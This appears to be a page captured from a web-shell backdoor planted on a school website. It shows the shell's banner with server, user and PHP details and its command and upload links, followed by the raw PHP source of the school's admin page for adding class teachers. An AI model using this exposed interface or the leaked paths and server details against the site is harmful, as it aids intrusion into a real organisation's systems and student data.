|
Server IP : 2a02:4780:11:1359:0:1d43:a566:2 / Your IP : 216.73.216.20 Web Server : LiteSpeed System : Linux in-mum-web1259.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64 User : u490972518 ( 490972518) PHP Version : 5.6.40 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : ON | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u490972518/domains/ppschool.org.in/public_html/ppsj/css/../admin/temp/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<html>
<head>
<?php include("../link/admin_headconnection.php");
session_start();
$lg=$_SESSION['admin'];
if(!$lg)
{
header("location:../admin/index.php");
}
include("../link/databaseconnection.php");
?>
<link href="../css/dashboard.css" rel="stylesheet" type="text/css"/>
<link href="../css/dashboardmenu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details_side_menu.css" rel="stylesheet" type="text/css"/>
<link href="../css/student_details.css" rel="stylesheet" type="text/css"/>
<link href="jq/jquery.dataTables.min.css" type="text/css" rel="stylesheet"/>
<link href="jq/buttons.dataTables.min.css" type="text/css" rel="stylesheet"/>
<script src="jq/jquery.dataTables.min.js"></script>
<script src="jq/dataTables.buttons.min.js"></script>
<script src="jq/buttons.flash.min.js"></script>
<script src="jq/jszip.min.js"></script>
<script src="jq/pdfmake.min.js"></script>
<script src="jq/vfs_fonts.js"></script>
<script src="jq/buttons.html5.min.js"></script>
<script src="jq/buttons.print.min.js"></script>
<style>
body
{
background-image:url(../image/back3.jpg);
}
.work
{
min-height:200px;
}
.gap
{
height:100px;
}
th
{
text-align:center;
}
</style>
<script>
$(document).ready(function(){
showdata();
$("#regform").submit(function(e){
e.preventDefault();
$.ajax({
url:"../code/gallerycode.php?flag=7",
type:"POST",
data: new FormData(this),
contentType:false,
processData:false,
cache:false,
success:function(res){
alert(res);
showdata();
},
error:function(){
alert("error");
}
});
});
});
function showdata()
{
$("#show").load("../code/gallerycode.php?flag=8");
}
function deleterow(id)
{
//alert(id);
var a=confirm("Are You Sure");
if(a==true)
{
$.ajax({
url:"../code/gallerycode.php?flag=10",
type:"POST",
data:{rowid:id},
success:function(res){
alert(res);
showdata();
},
error:function(){
alert("error");
}
});
}
}
function editrow(id)
{
// alert(id);
$("#editmode89").modal("show");
$("#editbody89").load("../code/gallerycode.php?flag=9&id="+id);
}
//////updation
function updaterow(form)
{
$.ajax({
url:"../code/gallerycode.php?flag=11",
type:"POST",
data:new FormData(form),
contentType:false, // for photo upload ke liye hai
processData:false, //for photo upload ke liye hai
cache:false,
success:function(res){
alert(res);
$("#editmode89").modal("hide");
showdata();
},
error:function(){
alert("error");
}
});
return false;
}
</script>
</head>
<body>
<div class="container-fluid">
<div class="row">
<?php include("../link/admin_dashboardmenu .php");?>
</div>
<div class="row">
<div class="col-sm-2">
<?php include("../link/staff_sidemenu.php");?>
</div>
<div class="col-sm-10">
<div class="panel-group">
<div class="panel panel-primary">
<div class="panel-heading"><center><h4>Class Teacher Add</h4></center></div>
<form id="regform">
<div class="panel-body">
<div class="form-group">
<label class="col-sm-5">Class Teacher Name</label>
<div class="col-sm-5"><input type="text" class="form-control" name="name"/>
<br/>
</div>
<label class="col-sm-5">Mobile</label>
<div class="col-sm-5"><input type="number" class="form-control" name="mobile"/> <br/></div>
<label class="col-sm-5 control-label">Class</label>
<div class="col-sm-5"><?php
//echo $clas;
$sel="select * from subclass";
$res=mysqli_query($conn,$sel);
?><select class="form-control" name="class">
<?php while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
?> <option><?php echo $row['subclass']; ?></option><?php
}
?>
</select><br/></div>
<label class="col-sm-5 control-label">Section</label>
<div class="col-sm-5"><?php
//echo $clas;
$sel="select * from section";
$res=mysqli_query($conn,$sel);
?><select class="form-control" name="section">
<?php while($row=mysqli_fetch_array($res,MYSQLI_BOTH))
{
?> <option><?php echo $row['section']; ?></option><?php
}
?>
</select><br/></div>
<label class="col-sm-5">Password</label>
<div class="col-sm-5"><input type="text" class="form-control" name="password"/>
<br/>
<center><button class="btn btn-success">Submit</button></center>
</div>
</form>
</div>
</div>
<div id="show"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal fade bs-example-modal-lg" id="editmode89">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-heading">
<button class="close" data-dismiss="modal"> <span style="font-size:40px;font-weight:bold"> × </span> </button>
<center><h2 class="modal-title" style="color:green;background-color:yellow"> UPDATION OF CLASS TEACHER</h2> </center>
</div>
<div class="modal-body" id="editbody89">
</div>
<div class="modal-footer">
</div>
</div>
</div>
</div>
</html>